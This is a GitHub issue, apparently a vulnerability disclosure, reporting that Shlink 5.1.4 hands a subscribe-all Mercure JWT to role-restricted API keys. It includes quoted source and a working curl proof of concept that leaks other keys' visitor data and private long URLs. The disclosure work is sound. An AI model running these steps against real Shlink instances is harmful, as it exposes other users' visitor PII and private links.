Skip to content

API key role bypass via Mercure subscription token grants real-time access to other keys' visit data #2633

Description

@geo-chen

Shlink version

5.1.4

PHP version

How do you serve Shlink

Docker image

Database engine

MySQL

Database version

Current behavior

Summary

Shlink supports restricted API keys with roles such as "Author only" (a key may only see and manage the short URLs it created) and "Domain only" (a key is restricted to a single domain). The REST visit endpoints correctly enforce these roles: a restricted key receives 404 when it tries to read visits of a short URL it does not own.

When the optional Mercure real-time updates integration is enabled, the /rest/v3/mercure-info endpoint hands out a Mercure subscription JWT to any valid API key, with no regard for the key's role. The issued token carries the claim mercure.subscribe: ["*"], granting subscription to every topic on the hub, including the global https://shlink.io/new-visit topic and every per short URL https://shlink.io/new-visit/{shortCode} topic.

As a result, a holder of a restricted "Author only" or "Domain only" API key can subscribe to the real-time stream and receive the visit data (referer, user agent, full geolocation, visit timestamp, visited and redirect URLs, and the complete short URL object including its private long URL) of short URLs created by other API keys and other domains. This bypasses the per author and per domain authorization boundary that the REST endpoints enforce.

Details

The REST visit endpoint enforces the role correctly. VisitsStatsHelper::visitsForShortUrl() resolves the short URL with the key's specification before returning any visits (module/Core/src/Visit/VisitsStatsHelper.php):

public function visitsForShortUrl(
    ShortUrlIdentifier $identifier,
    VisitsParams $params,
    ApiKey|null $apiKey = null,
): Paginator {
    $repo = $this->em->getRepository(ShortUrl::class);
    if (!$repo->shortCodeIsInUse($identifier, $apiKey?->spec())) {
        throw ShortUrlNotFoundException::fromNotFound($identifier);
    }
    ...
}

$apiKey->spec() returns the role specification (BelongsToApiKey for author_only, BelongsToDomain for domain_only), so a restricted key gets a "not found" for short URLs it does not own. This was confirmed live (HTTP 404, see PoC).

The Mercure path has no such check. MercureInfoAction is reachable by any valid key, and issues a subscription token unconditionally (module/Rest/src/Action/MercureInfoAction.php):

class MercureInfoAction extends AbstractRestAction
{
    protected const string ROUTE_PATH = '/mercure-info';
    protected const array ROUTE_ALLOWED_METHODS = [self::METHOD_GET];

    public function handle(ServerRequestInterface $request): ResponseInterface
    {
        $hubUrl = $this->mercureConfig['public_hub_url'] ?? null;
        if ($hubUrl === null) {
            throw MercureException::mercureNotConfigured();
        }
        $days = $this->mercureConfig['jwt_days_duration'] ?? 1;
        $expiresAt = Chronos::now()->addDays($days);
        $jwt = $this->jwtProvider->buildSubscriptionToken($expiresAt);   // <-- no apiKey, no role

        return new JsonResponse([
            'mercureHubUrl' => sprintf('%s/.well-known/mercure', $hubUrl),
            'token' => $jwt,
            'jwtExpiration' => $expiresAt->toAtomString(),
        ]);
    }
}

The authentication middleware only verifies that the key is valid (enabled and not expired); it never inspects roles for this route (module/Rest/src/Middleware/AuthenticationMiddleware.php):

$result = $this->apiKeyService->check($apiKey);
if (!$result->isValid()) {
    throw VerifyAuthenticationException::forInvalidApiKey();
}
return $handler->handle($request->withAttribute(ApiKey::class, $result->apiKey));

buildSubscriptionToken (shlinkio/shlink-common, LcobucciJwtProvider) grants all topics:

public function buildSubscriptionToken(DateTimeImmutable|null $expiresAt = null): string
{
    $expiresAt = $this->roundDateToTheSecond($expiresAt ?? Chronos::now()->addDays(3));
    return $this->buildToken(['subscribe' => ['*']], $expiresAt);
}

The published payload on the global topic contains the per visit PII and the full short URL, with no per key filtering (module/Core/src/EventDispatcher/PublishingUpdatesGenerator.php):

public function newVisitUpdate(Visit $visit): Update
{
    return Update::forTopicAndPayload(Topic::NEW_VISIT->value, [
        'shortUrl' => $this->transformShortUrl($visit->shortUrl),
        'visit' => $visit->jsonSerialize(),
    ]);
}

Visit::jsonSerialize() (module/Core/src/Visit/Entity/Visit.php) exposes referer, userAgent, visitLocation (geolocation), date, visitedUrl, redirectUrl. By default every real time topic is enabled, including the global new-visit topic (module/Core/src/Config/Options/RealTimeUpdatesOptions.php):

$this->enabledTopics = $enabledTopics === null
    ? $validTopics                      // all topics enabled when not explicitly restricted
    : self::validateTopics($enabledTopics, $validTopics);

So the visit data of every short URL, regardless of which key created it or which domain it belongs to, is broadcast on a topic that the restricted key's subscribe: ["*"] token is allowed to read. The role specification that gates the REST endpoint is never applied to the real-time channel.

Expected behavior

(private reporting has been disabled and thus reporting here)

Minimum steps to reproduce

Prerequisite: a Shlink instance with Mercure enabled (set MERCURE_PUBLIC_HUB_URL, MERCURE_INTERNAL_HUB_URL, MERCURE_JWT_SECRET). Confirmed against shlink 5.1.4.

  1. As admin, create two restricted "Author only" keys, here referred to as KEYA and KEYB:
shlink api-key:generate --name=authorA --author-only
shlink api-key:generate --name=authorB --author-only
  1. KEYA creates a short URL with a private long URL:
curl -s -X POST http://localhost:8080/rest/v3/short-urls \
  -H "X-Api-Key: KEYA" -H 'Content-Type: application/json' \
  -d '{"longUrl":"http://example.com/secretA","customSlug":"aaaa"}'
  1. Confirm the REST role boundary works. KEYB is denied reading KEYA's visits:
curl -s -w "\nHTTP=%{http_code}\n" \
  "http://localhost:8080/rest/v3/short-urls/aaaa/visits" -H "X-Api-Key: KEYB"

Response:

{"shortCode":"aaaa","title":"Short URL not found","type":"https://shlink.io/api/error/short-url-not-found","status":404,"detail":"No URL found with short code \"aaaa\""}
HTTP=404
  1. KEYB (restricted) requests a Mercure token and inspects its claims:
curl -s "http://localhost:8080/rest/v3/mercure-info" -H "X-Api-Key: KEYB"

Response:

{"mercureHubUrl":"http://localhost:3000/.well-known/mercure","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTaGxpbmsiLCJpYXQiOjE3ODE5Njg4MjQsImV4cCI6MTc4MjA1NTIyNCwibWVyY3VyZSI6eyJzdWJzY3JpYmUiOlsiKiJdfX0.NpmkDup-vwKr7TTpEGiha0i-x4O2iZP9ZKKcfyEvBQ8","jwtExpiration":"2026-06-21T15:20:24+00:00"}

Decoded JWT payload shows unrestricted subscription:

{"iss":"Shlink","iat":1781968824,"exp":1782055224,"mercure":{"subscribe":["*"]}}
  1. KEYB subscribes to the global new-visit topic using that token (the topic covers every short URL, all keys, all domains):
TOKEN=<token from step 4>
curl -s -N -H "Authorization: Bearer $TOKEN" \
  "http://localhost:3000/.well-known/mercure?topic=https%3A//shlink.io/new-visit"
  1. A visit happens on KEYA's short URL (any visitor hitting the public short link):
curl -s -o /dev/null -A "VICTIM-Chrome/131 Pixel-8" \
  -e "http://crm.internal.victim.example/lead?id=4242" \
  -H "X-Forwarded-For: 198.51.100.23" http://localhost:8080/aaaa
  1. KEYB's open subscription (step 5) receives KEYA's visit PII in real time:
id: urn:uuid:1abac195-1778-4081-a7fe-547baf04f351
data: {"shortUrl":{"shortUrl":"http://localhost:8080/aaaa","shortCode":"aaaa","longUrl":"http://example.com/secretA","dateCreated":"2026-06-20T15:20:12+00:00",...},"visit":{"referer":"http://crm.internal.victim.example/lead?id=4242","date":"2026-06-20T15:20:44+00:00","userAgent":"VICTIM-Chrome/131 Pixel-8","visitLocation":null,"potentialBot":false,"visitedUrl":"http://localhost:8080/aaaa","redirectUrl":"http://example.com/secretA"}}

KEYB, which cannot read KEYA's visits through the REST API, now receives KEYA's referer, user agent, geolocation (when GeoLite is configured), and KEYA's private long URL, for every visit to every short URL on the instance. A "Domain only" key has the same access, since the token issued by /mercure-info is role independent.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    • Status
      No status

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions